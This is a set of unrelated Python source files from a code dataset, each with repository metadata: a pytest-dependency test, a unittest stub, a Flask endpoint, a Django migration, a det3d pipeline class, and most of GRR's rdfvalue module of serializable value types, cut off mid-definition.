ace8b729f4f95f198d8dfaee97611415736dcf32

1,892

py

Python

tests/test_03_param.py

celeraone/pytest-dependency

8c69383cfb8df47467071ee10af83b60e67616c0

[ "Apache-2.0" ]

1

2018-07-17T13:35:40.000Z

tests/test_03_param.py

celeraone/pytest-dependency

8c69383cfb8df47467071ee10af83b60e67616c0

[ "Apache-2.0" ]

null

tests/test_03_param.py

celeraone/pytest-dependency

8c69383cfb8df47467071ee10af83b60e67616c0

[ "Apache-2.0" ]

1

2018-12-01T16:52:17.000Z

"""A scenario featuring parametrized tests. """ import pytest def test_multiple(ctestdir): ctestdir.makepyfile(""" import pytest @pytest.mark.parametrize("x,y", [ pytest.mark.dependency(name="a1")((0,0)), pytest.mark.dependency(name="a2")((0,1)), pytest.mark.dependency(name="a3")((1,0)), pytest.mark.dependency(name="a4")((1,1)) ]) def test_a(x,y): assert x==0 or y==0 @pytest.mark.parametrize("u,v", [ pytest.mark.dependency(name="b1", depends=["a1", "a2"])((1,2)), pytest.mark.dependency(name="b2", depends=["a1", "a3"])((1,3)), pytest.mark.dependency(name="b3", depends=["a1", "a4"])((1,4)), pytest.mark.dependency(name="b4", depends=["a2", "a3"])((2,3)), pytest.mark.dependency(name="b5", depends=["a2", "a4"])((2,4)), pytest.mark.dependency(name="b6", depends=["a3", "a4"])((3,4)) ]) def test_b(u,v): pass @pytest.mark.parametrize("w", [ pytest.mark.dependency(name="c1", depends=["b1", "b3", "b5"])(1), pytest.mark.dependency(name="c2", depends=["b1", "b3", "b6"])(2), pytest.mark.dependency(name="c3", depends=["b1", "b2", "b4"])(3) ]) def test_c(w): pass """) result = ctestdir.runpytest("--verbose") result.assert_outcomes(passed=7, skipped=5, failed=1) result.stdout.fnmatch_lines(""" *::test_a?0-0? PASSED *::test_a?0-1? PASSED *::test_a?1-0? PASSED *::test_a?1-1? FAILED *::test_b?1-2? PASSED *::test_b?1-3? PASSED *::test_b?1-4? SKIPPED *::test_b?2-3? PASSED *::test_b?2-4? SKIPPED *::test_b?3-4? SKIPPED *::test_c?1? SKIPPED *::test_c?2? SKIPPED *::test_c?3? PASSED """)

33.785714

77

0.512156

ace8b7b0f9323a5917d3798f499555a95e2d9e23

168

py

Python

fl-dungeon/adventurelib/tests/localization.py

CenturionFox/fl-dungeon

f80461335b682418903b7de9333e7842057772f9

[ "MIT" ]

null

fl-dungeon/adventurelib/tests/localization.py

CenturionFox/fl-dungeon

f80461335b682418903b7de9333e7842057772f9

[ "MIT" ]

null

fl-dungeon/adventurelib/tests/localization.py

CenturionFox/fl-dungeon

f80461335b682418903b7de9333e7842057772f9

[ "MIT" ]

null

import unittest class Test_localization(unittest.TestCase): def test_A(self): self.fail("Not implemented") if __name__ == '__main__': unittest.main()

18.666667

43

0.696429

ace8b7bd8f6fd6cace6866893960703d63443a71

652

py

Python

app/api/patch/patch.py

duckbytes/bloodbike-api

c6867160dd899a90aa7315125ac04e4cb71e7b79

[ "Apache-2.0" ]

2

2021-06-27T09:01:26.000Z

2021-07-04T22:07:42.000Z

app/api/patch/patch.py

duckbytes/bloodbike-api

c6867160dd899a90aa7315125ac04e4cb71e7b79

[ "Apache-2.0" ]

1

2021-07-20T21:10:19.000Z

app/api/patch/patch.py

duckbytes/bloodbike-api

c6867160dd899a90aa7315125ac04e4cb71e7b79

[ "Apache-2.0" ]

null

import flask_praetorian from flask import jsonify from app.api.functions.errors import internal_error from app.api.functions.utilities import get_all_objects from flask_restx import Resource from app import root_ns from app import models from app import schemas patches_schema = schemas.PatchSchema(many=True) PATCH = models.Objects.PATCH @root_ns.route('/patches', endpoint='patches_list') class Patches(Resource): @flask_praetorian.auth_required def get(self): try: items = get_all_objects(PATCH) except Exception as e: return internal_error(e) return jsonify(patches_schema.dump(items))

25.076923

55

0.751534

ace8b7c053b65e9ac493ebbbc90d4b3b6224639f

415

py

Python

webapp/main/migrations/0013_location_description.py

joepetrini/bike-counter

e22190d7225ee54e7327efe43861f85c49c0bbd7

[ "MIT" ]

5

2015-01-09T00:54:43.000Z

2021-06-16T20:46:45.000Z

webapp/main/migrations/0013_location_description.py

joepetrini/bike-counter

e22190d7225ee54e7327efe43861f85c49c0bbd7

[ "MIT" ]

4

2015-06-30T12:04:22.000Z

2017-02-08T00:11:19.000Z

webapp/main/migrations/0013_location_description.py

joepetrini/bike-counter

e22190d7225ee54e7327efe43861f85c49c0bbd7

[ "MIT" ]

2

2015-01-07T02:46:27.000Z

2015-07-01T19:43:03.000Z

# encoding: utf8 from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('main', '0012_metric_system_name'), ] operations = [ migrations.AddField( model_name='location', name='description', field=models.CharField(max_length=250, null=True, blank=True), preserve_default=True, ), ]

21.842105

74

0.6

ace8b7cb4fc63a9556836f5a255acbed88954818

2,885

py

Python

tools/det3d/datasets/pipelines/formating.py

yukke42/CenterPointTensorRT

c06ec5da881b4f44f22f9e4b67bebbd35b7d1ed3

[ "MIT" ]

68

2021-12-06T06:30:13.000Z

2022-03-30T08:37:19.000Z

tools/det3d/datasets/pipelines/formating.py

yukke42/CenterPointTensorRT

c06ec5da881b4f44f22f9e4b67bebbd35b7d1ed3

[ "MIT" ]

8

2022-01-07T09:41:02.000Z

2022-03-22T12:33:07.000Z

tools/det3d/datasets/pipelines/formating.py

yukke42/CenterPointTensorRT

c06ec5da881b4f44f22f9e4b67bebbd35b7d1ed3

[ "MIT" ]

22

2021-12-15T02:15:27.000Z

2022-03-30T08:37:22.000Z

from det3d import torchie import numpy as np import torch from ..registry import PIPELINES class DataBundle(object): def __init__(self, data): self.data = data @PIPELINES.register_module class Reformat(object): def __init__(self, **kwargs): double_flip = kwargs.get('double_flip', False) self.double_flip = double_flip def __call__(self, res, info): meta = res["metadata"] points = res["lidar"]["points"] voxels = res["lidar"]["voxels"] data_bundle = dict( metadata=meta, points=points, voxels=voxels["voxels"], shape=voxels["shape"], num_points=voxels["num_points"], num_voxels=voxels["num_voxels"], coordinates=voxels["coordinates"]) if res["mode"] == "train": data_bundle.update(res["lidar"]["targets"]) elif res["mode"] == "val": data_bundle.update(dict(metadata=meta, )) if self.double_flip: # y axis yflip_points = res["lidar"]["yflip_points"] yflip_voxels = res["lidar"]["yflip_voxels"] yflip_data_bundle = dict( metadata=meta, points=yflip_points, voxels=yflip_voxels["voxels"], shape=yflip_voxels["shape"], num_points=yflip_voxels["num_points"], num_voxels=yflip_voxels["num_voxels"], coordinates=yflip_voxels["coordinates"],) # x axis xflip_points = res["lidar"]["xflip_points"] xflip_voxels = res["lidar"]["xflip_voxels"] xflip_data_bundle = dict( metadata=meta, points=xflip_points, voxels=xflip_voxels["voxels"], shape=xflip_voxels["shape"], num_points=xflip_voxels["num_points"], num_voxels=xflip_voxels["num_voxels"], coordinates=xflip_voxels["coordinates"],) # double axis flip double_flip_points = res["lidar"]["double_flip_points"] double_flip_voxels = res["lidar"]["double_flip_voxels"] double_flip_data_bundle = dict( metadata=meta, points=double_flip_points, voxels=double_flip_voxels["voxels"], shape=double_flip_voxels["shape"], num_points=double_flip_voxels["num_points"], num_voxels=double_flip_voxels["num_voxels"], coordinates=double_flip_voxels["coordinates"], ) return [data_bundle, yflip_data_bundle, xflip_data_bundle, double_flip_data_bundle], info return data_bundle, info

35.182927

105

0.540381

ace8b8cee6c4b5b15dfbb5c9ba078d24d11a588e

35,059

py

Python

grr/core/grr_response_core/lib/rdfvalue.py

dekoder/grr

27ba38dc0f5ad4f3e0cdbfb146a0a789e3b0d27b

[ "Apache-2.0" ]

3

2018-09-30T01:31:29.000Z

2019-04-22T11:44:54.000Z

grr/core/grr_response_core/lib/rdfvalue.py

tomchop/grr

27ba38dc0f5ad4f3e0cdbfb146a0a789e3b0d27b

[ "Apache-2.0" ]

1

2022-03-02T09:58:05.000Z

grr/core/grr_response_core/lib/rdfvalue.py

tomchop/grr

27ba38dc0f5ad4f3e0cdbfb146a0a789e3b0d27b

[ "Apache-2.0" ]

null

#!/usr/bin/env python """AFF4 RDFValue implementations. This module contains all RDFValue implementations. NOTE: This module uses the class registry to contain all implementations of RDFValue class, regardless of where they are defined. To do this reliably, these implementations must be imported _before_ the relevant classes are referenced from this module. """ from __future__ import division from __future__ import unicode_literals import abc import calendar import collections import datetime import functools import logging import posixpath import re import time import zlib from builtins import filter # pylint: disable=redefined-builtin import dateutil from dateutil import parser from future.utils import iteritems from future.utils import with_metaclass from past.builtins import long from typing import cast from grr_response_core.lib import registry from grr_response_core.lib import utils # Factor to convert from seconds to microseconds MICROSECONDS = 1000000 # Somewhere to keep all the late binding placeholders. _LATE_BINDING_STORE = {} def RegisterLateBindingCallback(target_name, callback, **kwargs): """Registers a callback to be invoked when the RDFValue named is declared.""" _LATE_BINDING_STORE.setdefault(target_name, []).append((callback, kwargs)) class Error(Exception): """Errors generated by RDFValue parsers.""" class InitializeError(Error): """Raised when we can not initialize from this parameter.""" class DecodeError(InitializeError, ValueError): """Generated when we can not decode the data.""" def __init__(self, msg): logging.debug(msg) super(DecodeError, self).__init__(msg) class RDFValueMetaclass(registry.MetaclassRegistry): """A metaclass for managing semantic values.""" def __init__(cls, name, bases, env_dict): # pylint: disable=no-self-argument super(RDFValueMetaclass, cls).__init__(name, bases, env_dict) # Run and clear any late binding callbacks registered for this class. for callback, kwargs in _LATE_BINDING_STORE.pop(name, []): callback(target=cls, **kwargs) # TODO(user):pytype RDFValueMetaclass inherits MetaclassRegistry that # inherits abc.ABCMeta, but type checker can't infer this, apparently because # with_metaclass is used. # pytype: disable=ignored-abstractmethod class RDFValue(with_metaclass(RDFValueMetaclass, object)): """Baseclass for values. RDFValues are serialized to and from the data store. """ # This is how the attribute will be serialized to the data store. It must # indicate both the type emitted by SerializeToDataStore() and expected by # FromDatastoreValue() data_store_type = "bytes" # URL pointing to a help page about this value type. context_help_url = None _value = None _age = 0 # Mark as dirty each time we modify this object. dirty = False # If this value was created as part of an AFF4 attribute, the attribute is # assigned here. attribute_instance = None def __init__(self, initializer=None, age=None): """Constructor must be able to take no args. Args: initializer: Optional parameter to construct from. age: The age of this entry as an RDFDatetime. If not provided, create a new instance. Raises: InitializeError: if we can not be initialized from this parameter. """ # Default timestamp is now. if age is None: age = RDFDatetime(age=0) self._age = age # Allow an RDFValue to be initialized from an identical RDFValue. # TODO(user):pytype: type checker can't infer that the initializer # is not None after the check below. if initializer.__class__ == self.__class__: self.ParseFromString( cast(self.__class__, initializer).SerializeToString()) def Copy(self): """Make a new copy of this RDFValue.""" res = self.__class__() res.ParseFromString(self.SerializeToString()) return res def SetRaw(self, value, age=None): self._value = value if age is not None: self._age = age def __copy__(self): return self.Copy() @property def age(self): if self._age.__class__ is not RDFDatetime: self._age = RDFDatetime(self._age, age=0) return self._age @age.setter def age(self, value): """When assigning to this attribute it must be an RDFDatetime.""" self._age = RDFDatetime(value, age=0) @abc.abstractmethod def ParseFromString(self, string): """Given a string, parse ourselves from it.""" pass @abc.abstractmethod def ParseFromDatastore(self, value): """Initialize the RDF object from the datastore value.""" pass @classmethod def FromDatastoreValue(cls, value, age=None): res = cls() res.ParseFromDatastore(value) if age: res.age = age return res @classmethod def FromSerializedString(cls, value, age=None): res = cls() res.ParseFromString(value) if age: res.age = age return res def SerializeToDataStore(self): """Serialize to a datastore compatible form.""" return self.SerializeToString() @abc.abstractmethod def SerializeToString(self): """Serialize into a string which can be parsed using ParseFromString.""" @classmethod def Fields(cls): """Return a list of fields which can be queried from this value.""" return [] def __eq__(self, other): return self._value == other def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return hash(self.SerializeToString()) def __bool__(self): return bool(self._value) def __nonzero__(self): return bool(self._value) def __str__(self): # pylint: disable=super-on-old-class """Ignores the __repr__ override below to avoid indefinite recursion.""" return super(RDFValue, self).__repr__() def __repr__(self): content = utils.SmartStr(self) if len(content) > 100: content = content[:100] + "..." # Note %r, which prevents nasty nonascii characters from being printed, # including dangerous terminal escape sequences. return "<%s(%r)>" % (self.__class__.__name__, content) class RDFPrimitive(RDFValue): @classmethod def FromHumanReadable(cls, string): instance = cls() instance.ParseFromHumanReadable(string) return instance @abc.abstractmethod def ParseFromHumanReadable(self, string): """Initializes the object from human-readable string. Args: string: An `unicode` value to initialize the object from. """ # pytype: enable=ignored-abstractmethod class RDFBytes(RDFPrimitive): """An attribute which holds bytes.""" data_store_type = "bytes" _value = b"" def __init__(self, initializer=None, age=None): super(RDFBytes, self).__init__(initializer=initializer, age=age) if not self._value and initializer is not None: self.ParseFromString(initializer) def ParseFromString(self, string): utils.AssertType(string, bytes) self._value = string def ParseFromDatastore(self, value): utils.AssertType(value, bytes) self._value = value def ParseFromHumanReadable(self, string): utils.AssertType(string, unicode) self._value = string.encode("utf-8") def AsBytes(self): return self._value def SerializeToString(self): return self._value def __str__(self): return utils.SmartStr(self._value) def __lt__(self, other): if isinstance(other, self.__class__): return self._value < other._value # pylint: disable=protected-access else: return self._value < other def __gt__(self, other): if isinstance(other, self.__class__): return self._value > other._value # pylint: disable=protected-access else: return self._value > other def __eq__(self, other): if isinstance(other, self.__class__): return self._value == other._value # pylint: disable=protected-access else: return self._value == other def __len__(self): return len(self._value) class RDFZippedBytes(RDFBytes): """Zipped bytes sequence.""" def Uncompress(self): if self: return zlib.decompress(self._value) else: return "" @functools.total_ordering class RDFString(RDFPrimitive): """Represent a simple string.""" data_store_type = "string" _value = u"" # TODO(hanuszczak): Allow initializng form arbitrary `unicode`-able object. def __init__(self, initializer=None, age=None): super(RDFString, self).__init__(initializer=None, age=age) if isinstance(initializer, RDFString): self._value = initializer._value # pylint: disable=protected-access elif isinstance(initializer, bytes): self.ParseFromString(initializer) elif isinstance(initializer, unicode): self._value = initializer elif initializer is not None: message = "Unexpected initializer `%s` of type `%s`" message %= (initializer, type(initializer)) raise TypeError(message) def format(self, *args, **kwargs): # pylint: disable=invalid-name return self._value.format(*args, **kwargs) def split(self, *args, **kwargs): # pylint: disable=invalid-name return self._value.split(*args, **kwargs) def __str__(self): return self._value.encode("utf-8") def __unicode__(self): return self._value def __getitem__(self, item): return self._value.__getitem__(item) def __eq__(self, other): if isinstance(other, RDFString): return self._value == other._value # pylint: disable=protected-access if isinstance(other, unicode): return self._value == other # TODO(hanuszczak): Comparing `RDFString` and `bytes` should result in type # error. For now we allow it because too many tests still use non-unicode # string literals. if isinstance(other, bytes): return self._value.encode("utf-8") == other message = "Unexpected value `%s` of type `%s`" message %= (other, type(other)) raise TypeError(message) def __lt__(self, other): if isinstance(other, RDFString): return self._value < other._value # pylint: disable=protected-access if isinstance(other, unicode): return self._value < other # TODO(hanuszczak): Comparing `RDFString` and `bytes` should result in type # error. For now we allow it because too many tests still use non-unicode # string literals. if isinstance(other, bytes): return self._value.encode("utf-8") < other message = "Unexpected value `%s` of type `%s`" message %= (other, type(other)) raise TypeError(message) def ParseFromString(self, string): utils.AssertType(string, bytes) self._value = string.decode("utf-8") def ParseFromDatastore(self, value): utils.AssertType(value, unicode) self._value = value def ParseFromHumanReadable(self, string): utils.AssertType(string, unicode) self._value = string def SerializeToString(self): return self._value.encode("utf-8") def SerializeToDataStore(self): return self._value # TODO(hanuszczak): This class should provide custom method for parsing from # human readable strings (and arguably should not derive from `RDFBytes` at # all). class HashDigest(RDFBytes): """Binary hash digest with hex string representation.""" data_store_type = "bytes" def HexDigest(self): return self._value.encode("hex") def __str__(self): return self._value.encode("hex") def __eq__(self, other): return (self._value == utils.SmartStr(other) or self._value.encode("hex") == other) def __ne__(self, other): return not self.__eq__(other) @functools.total_ordering class RDFInteger(RDFPrimitive): """Represent an integer.""" data_store_type = "integer" @staticmethod def IsNumeric(value): return isinstance(value, (int, long, float, RDFInteger)) def __init__(self, initializer=None, age=None): super(RDFInteger, self).__init__(initializer=initializer, age=age) if self._value is None: if initializer is None: self._value = 0 else: self._value = int(initializer) def SerializeToString(self): return str(self._value) def ParseFromString(self, string): self._value = 0 if string: try: self._value = int(string) except TypeError as e: raise DecodeError(e) def ParseFromDatastore(self, value): utils.AssertType(value, int) self._value = value def ParseFromHumanReadable(self, string): utils.AssertType(string, unicode) self._value = int(string) def __str__(self): return str(self._value) def __unicode__(self): return unicode(self._value) @classmethod def FromDatastoreValue(cls, value, age=None): return cls(initializer=value, age=age) def SerializeToDataStore(self): """Use varint to store the integer.""" return self._value def __long__(self): return int(self._value) def __int__(self): return int(self._value) def __float__(self): return float(self._value) def __index__(self): return self._value def __lt__(self, other): return self._value < other def __and__(self, other): return self._value & other def __rand__(self, other): return self._value & other def __iand__(self, other): self._value &= other return self def __or__(self, other): return self._value | other def __ror__(self, other): return self._value | other def __ior__(self, other): self._value |= other return self def __add__(self, other): return self._value + other def __radd__(self, other): return self._value + other def __iadd__(self, other): self._value += other return self def __sub__(self, other): return self._value - other def __rsub__(self, other): return other - self._value def __isub__(self, other): self._value -= other return self def __mul__(self, other): return self._value * other # TODO(hanuszczak): There are no `__rop__` methods in Python 3 so all of these # should be removed. Also, in general it should not be possible to add two # values with incompatible types (e.g. `RDFInteger` and `int`). Sadly, # currently a lot of code depends on this behaviour but it should be changed # in the future. def __rmul__(self, other): return self._value * other def __div__(self, other): return self._value.__div__(other) def __truediv__(self, other): return self._value.__truediv__(other) def __floordiv__(self, other): return self._value.__floordiv__(other) def __hash__(self): return hash(self._value) class RDFBool(RDFInteger): """Boolean value.""" data_store_type = "unsigned_integer" def ParseFromHumanReadable(self, string): utils.AssertType(string, unicode) upper_string = string.upper() if upper_string == u"TRUE" or string == u"1": self._value = 1 elif upper_string == u"FALSE" or string == u"0": self._value = 0 else: raise ValueError("Unparsable boolean string: `%s`" % string) class RDFDatetime(RDFInteger): """A date and time internally stored in MICROSECONDS.""" converter = MICROSECONDS data_store_type = "unsigned_integer" def __init__(self, initializer=None, age=None): super(RDFDatetime, self).__init__(None, age) self._value = 0 if initializer is None: return if isinstance(initializer, (RDFInteger, int, long, float)): self._value = int(initializer) else: raise InitializeError( "Unknown initializer for RDFDateTime: %s." % type(initializer)) @classmethod def Now(cls): return cls(int(time.time() * cls.converter)) def Format(self, fmt): """Return the value as a string formatted as per strftime semantics.""" return time.strftime( fmt.encode("ascii"), time.gmtime(self._value / self.converter)) def __str__(self): """Return the date in human readable (UTC).""" return self.Format("%Y-%m-%d %H:%M:%S") def __unicode__(self): return utils.SmartUnicode(str(self)) def AsDatetime(self): """Return the time as a python datetime object.""" return datetime.datetime.utcfromtimestamp(self._value / self.converter) def AsSecondsSinceEpoch(self): return self._value // self.converter def AsMicrosecondsSinceEpoch(self): return self._value @classmethod def FromSecondsSinceEpoch(cls, value): # Convert to int in case we get fractional seconds with higher # resolution than what this class supports. return cls(int(value * cls.converter)) @classmethod def FromDatetime(cls, value): res = cls() seconds = calendar.timegm(value.utctimetuple()) res.SetRaw((seconds * cls.converter) + value.microsecond) return res @classmethod def FromHumanReadable(cls, value, eoy=False): res = cls() res.ParseFromHumanReadable(value, eoy=eoy) return res @classmethod def Lerp(cls, t, start_time, end_time): """Interpolates linearly between two datetime values. Args: t: An interpolation "progress" value. start_time: A value for t = 0. end_time: A value for t = 1. Returns: An interpolated `RDFDatetime` instance. Raises: TypeError: If given time values are not instances of `RDFDatetime`. ValueError: If `t` parameter is not between 0 and 1. """ if not (isinstance(start_time, RDFDatetime) and isinstance(end_time, RDFDatetime)): raise TypeError("Interpolation of non-datetime values") if not 0.0 <= t <= 1.0: raise ValueError("Interpolation progress does not belong to [0.0, 1.0]") return RDFDatetime(round((1 - t) * start_time._value + t * end_time._value)) # pylint: disable=protected-access def ParseFromHumanReadable(self, string, eoy=False): # TODO(hanuszczak): This method should accept only unicode literals. self._value = self._ParseFromHumanReadable(string, eoy=eoy) def __add__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds return self.__class__(self._value + other * self.converter) return NotImplemented def __iadd__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds self._value += other * self.converter return self return NotImplemented def __mul__(self, other): if isinstance(other, (int, long, float, Duration)): return self.__class__(self._value * other) return NotImplemented def __rmul__(self, other): return self.__mul__(other) def __sub__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds return self.__class__(self._value - other * self.converter) if isinstance(other, RDFDatetime): return Duration(self.AsSecondsSinceEpoch() - other.AsSecondsSinceEpoch()) return NotImplemented def __isub__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds self._value -= other * self.converter return self return NotImplemented @classmethod def _ParseFromHumanReadable(cls, string, eoy=False): """Parse a human readable string of a timestamp (in local time). Args: string: The string to parse. eoy: If True, sets the default value to the end of the year. Usually this method returns a timestamp where each field that is not present in the given string is filled with values from the date January 1st of the current year, midnight. Sometimes it makes more sense to compare against the end of a period so if eoy is set, the default values are copied from the 31st of December of the current year, 23:59h. Returns: The parsed timestamp. """ # TODO(hanuszczak): Date can come either as a single integer (which we # interpret as a timestamp) or as a really human readable thing such as # '2000-01-01 13:37'. This is less than ideal (since timestamps are not # really "human readable) and should be fixed in the future. try: return int(string) except ValueError: pass # By default assume the time is given in UTC. # pylint: disable=g-tzinfo-datetime if eoy: default = datetime.datetime( time.gmtime().tm_year, 12, 31, 23, 59, tzinfo=dateutil.tz.tzutc()) else: default = datetime.datetime( time.gmtime().tm_year, 1, 1, 0, 0, tzinfo=dateutil.tz.tzutc()) # pylint: enable=g-tzinfo-datetime timestamp = parser.parse(string, default=default) return calendar.timegm(timestamp.utctimetuple()) * cls.converter def Floor(self, interval): if not isinstance(interval, Duration): raise TypeError("Expected `Duration`, got `%s`" % interval.__class__) seconds = self.AsSecondsSinceEpoch() // interval.seconds * interval.seconds return self.FromSecondsSinceEpoch(seconds) class RDFDatetimeSeconds(RDFDatetime): """A DateTime class which is stored in whole seconds.""" converter = 1 class Duration(RDFInteger): """Duration value stored in seconds internally.""" data_store_type = "unsigned_integer" # pyformat: disable DIVIDERS = collections.OrderedDict(( ("w", 60 * 60 * 24 * 7), ("d", 60 * 60 * 24), ("h", 60 * 60), ("m", 60), ("s", 1))) # pyformat: enable def __init__(self, initializer=None, age=None): super(Duration, self).__init__(None, age) if isinstance(initializer, Duration): self._value = initializer._value # pylint: disable=protected-access elif isinstance(initializer, basestring): self.ParseFromHumanReadable(initializer) elif isinstance(initializer, (int, long, float)): self._value = initializer elif isinstance(initializer, RDFInteger): self._value = int(initializer) elif initializer is None: self._value = 0 else: raise InitializeError( "Unknown initializer for Duration: %s." % type(initializer)) @classmethod def FromSeconds(cls, seconds): return cls(seconds) def Validate(self, value, **_): self.ParseFromString(value) def ParseFromString(self, string): self.ParseFromHumanReadable(string) def SerializeToString(self): return str(self) @property def seconds(self): return self._value @property def microseconds(self): return self._value * 1000000 def __str__(self): time_secs = self._value for label, divider in iteritems(self.DIVIDERS): if time_secs % divider == 0: return "%d%s" % (time_secs // divider, label) def __unicode__(self): return utils.SmartUnicode(str(self)) def __add__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds return self.__class__(self._value + other) return NotImplemented def __iadd__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds self._value += other return self return NotImplemented def __mul__(self, other): if isinstance(other, (int, long, float, Duration)): return self.__class__(int(self._value * other)) return NotImplemented def __rmul__(self, other): return self.__mul__(other) def __sub__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds return self.__class__(self._value - other) return NotImplemented def __isub__(self, other): if isinstance(other, (int, long, float, Duration)): # Assume other is in seconds self._value -= other return self return NotImplemented def __abs__(self): return Duration(abs(self._value)) def Expiry(self, base_time=None): if base_time is None: base_time = RDFDatetime.Now() else: base_time = base_time.Copy() base_time_sec = base_time.AsSecondsSinceEpoch() return RDFDatetime.FromSecondsSinceEpoch(base_time_sec + self._value) def ParseFromHumanReadable(self, timestring): """Parse a human readable string of a duration. Args: timestring: The string to parse. """ if not timestring: return orig_string = timestring multiplicator = 1 if timestring[-1].isdigit(): pass else: try: multiplicator = self.DIVIDERS[timestring[-1]] except KeyError: raise RuntimeError("Invalid duration multiplicator: '%s' ('%s')." % (timestring[-1], orig_string)) timestring = timestring[:-1] try: self._value = int(timestring) * multiplicator except ValueError: raise InitializeError( "Could not parse expiration time '%s'." % orig_string) class ByteSize(RDFInteger): """A size for bytes allowing standard unit prefixes. We use the standard IEC 60027-2 A.2 and ISO/IEC 80000: Binary units (powers of 2): Ki, Mi, Gi SI units (powers of 10): k, m, g """ data_store_type = "unsigned_integer" DIVIDERS = dict(( ("", 1), ("k", 1000), ("m", 1000**2), ("g", 1000**3), ("ki", 1024), ("mi", 1024**2), ("gi", 1024**3), )) REGEX = re.compile("^([0-9.]+)([kmgi]*)b?$", re.I) def __init__(self, initializer=None, age=None): super(ByteSize, self).__init__(None, age) if isinstance(initializer, ByteSize): self._value = initializer._value # pylint: disable=protected-access elif isinstance(initializer, basestring): self.ParseFromHumanReadable(initializer) elif isinstance(initializer, (int, long, float)): self._value = initializer elif isinstance(initializer, RDFInteger): self._value = int(initializer) elif initializer is None: self._value = 0 else: raise InitializeError( "Unknown initializer for ByteSize: %s." % type(initializer)) def __str__(self): size_token = "" if self._value > 1024**3: size_token = "GiB" value = self._value / 1024**3 elif self._value > 1024**2: size_token = "MiB" value = self._value / 1024**2 elif self._value > 1024: size_token = "KiB" value = self._value / 1024 else: return utils.SmartStr(self._value) + "B" return "%.1f%s" % (value, size_token) def ParseFromHumanReadable(self, string): """Parse a human readable string of a byte string. Args: string: The string to parse. Raises: DecodeError: If the string can not be parsed. """ if not string: return None match = self.REGEX.match(string.strip().lower()) if not match: raise DecodeError("Unknown specification for ByteSize %s" % string) multiplier = self.DIVIDERS.get(match.group(2)) if not multiplier: raise DecodeError("Invalid multiplier %s" % match.group(2)) # The value may be represented as a float, but if not dont lose accuracy. value = match.group(1) if "." in value: value = float(value) else: value = int(value) self._value = int(value * multiplier) @functools.total_ordering class RDFURN(RDFPrimitive): """An object to abstract URL manipulation.""" data_store_type = "string" # Careful when changing this value, this is hardcoded a few times in this # class for performance reasons. scheme = "aff4" _string_urn = "" def __init__(self, initializer=None, age=None): """Constructor. Args: initializer: A string or another RDFURN. age: The age of this entry. """ # This is a shortcut that is a bit faster than the standard way of # using the RDFValue constructor to make a copy of the class. For # RDFURNs that way is a bit slow since it would try to normalize # the path again which is not needed - it comes from another # RDFURN so it is already in the correct format. if isinstance(initializer, RDFURN): # Make a direct copy of the other object self._string_urn = initializer.Path() super(RDFURN, self).__init__(None, age=age) return super(RDFURN, self).__init__(initializer=initializer, age=age) if self._value is None and initializer is not None: if isinstance(initializer, bytes): self.ParseFromString(initializer) elif isinstance(initializer, unicode): self.ParseFromUnicode(initializer) else: message = "Unsupported initializer `%s` of type `%s" message %= (initializer, type(initializer)) raise TypeError(message) def ParseFromString(self, initializer): """Create RDFRUN from string. Args: initializer: url string """ utils.AssertType(initializer, bytes) self.ParseFromUnicode(initializer.decode("utf-8")) def ParseFromUnicode(self, initializer): utils.AssertType(initializer, unicode) # Strip off the aff4: prefix if necessary. if initializer.startswith("aff4:/"): initializer = initializer[5:] self._string_urn = utils.NormalizePath(initializer) def ParseFromDatastore(self, value): utils.AssertType(value, unicode) # TODO(hanuszczak): We should just assign the `self._string_urn` here # instead of including all of the parsing magic since the data store values # should be normalized already. But sadly this is not the case and for now # we have to deal with unnormalized values as well. self.ParseFromUnicode(value) def ParseFromHumanReadable(self, string): self.ParseFromUnicode(string) def SerializeToString(self): return str(self) def SerializeToDataStore(self): return unicode(self) def Dirname(self): return posixpath.dirname(self._string_urn) def Basename(self): return posixpath.basename(self.Path()) def Add(self, path, age=None): """Add a relative stem to the current value and return a new RDFURN. If urn is a fully qualified URN, replace the current value with it. Args: path: A string containing a relative path. age: The age of the object. If None set to current time. Returns: A new RDFURN that can be chained. Raises: ValueError: if the path component is not a string. """ if not isinstance(path, basestring): raise ValueError("Only strings should be added to a URN.") result = self.Copy(age) result.Update(path=utils.JoinPath(self._string_urn, path)) return result def Update(self, url=None, path=None): """Update one of the fields. Args: url: An optional string containing a URL. path: If the path for this URN should be updated. """ if url: self.ParseFromString(url) if path: self._string_urn = path self.dirty = True def Copy(self, age=None): """Make a copy of ourselves.""" if age is None: age = int(time.time() * MICROSECONDS) return self.__class__(self, age=age) def __str__(self): return utils.SmartStr("aff4:%s" % self._string_urn) def __unicode__(self): return utils.SmartUnicode(u"aff4:%s" % self._string_urn) def __eq__(self, other): if isinstance(other, basestring): other = self.__class__(other) elif other is None: return False elif not isinstance(other, RDFURN): return NotImplemented return self._string_urn == other.Path() def __bool__(self): return bool(self._string_urn) def __nonzero__(self): return bool(self._string_urn) def __lt__(self, other): return self._string_urn < other def Path(self): """Return the path of the urn.""" return self._string_urn def Split(self, count=None): """Returns all the path components. Args: count: If count is specified, the output will be exactly this many path components, possibly extended with the empty string. This is useful for tuple assignments without worrying about ValueErrors: namespace, path = urn.Split(2) Returns: A list of path components of this URN. """ if count: result = list(filter(None, self._string_urn.split("/", count))) while len(result) < count: result.append("") return result else: return list(filter(None, self._string_urn.split("/"))) def RelativeName(self, volume): """Given a volume URN return the relative URN as a unicode string. We remove the volume prefix from our own. Args: volume: An RDFURN or fully qualified url string. Returns: A string of the url relative from the volume or None if our URN does not start with the volume prefix. """ string_url = utils.SmartUnicode(self) volume_url = utils.SmartUnicode(volume) if string_url.startswith(volume_url): result = string_url[len(volume_url):] # This must always return a relative path so we strip leading "/"s. The # result is always a unicode string. return result.lstrip("/") return None def __repr__(self): return "<%s age=%s>" % (self, self.age) class Subject(RDFURN): """A psuedo attribute representing the subject of an AFF4 object.""" DEFAULT_FLOW_QUEUE = RDFURN("F") class SessionID(RDFURN): """An rdfvalue object that represents a session_id.""" def __init__(self, initializer=None, age=None, base="aff4:/flows", queue=DEFAULT_FLOW_QUEUE, flow_name=None): 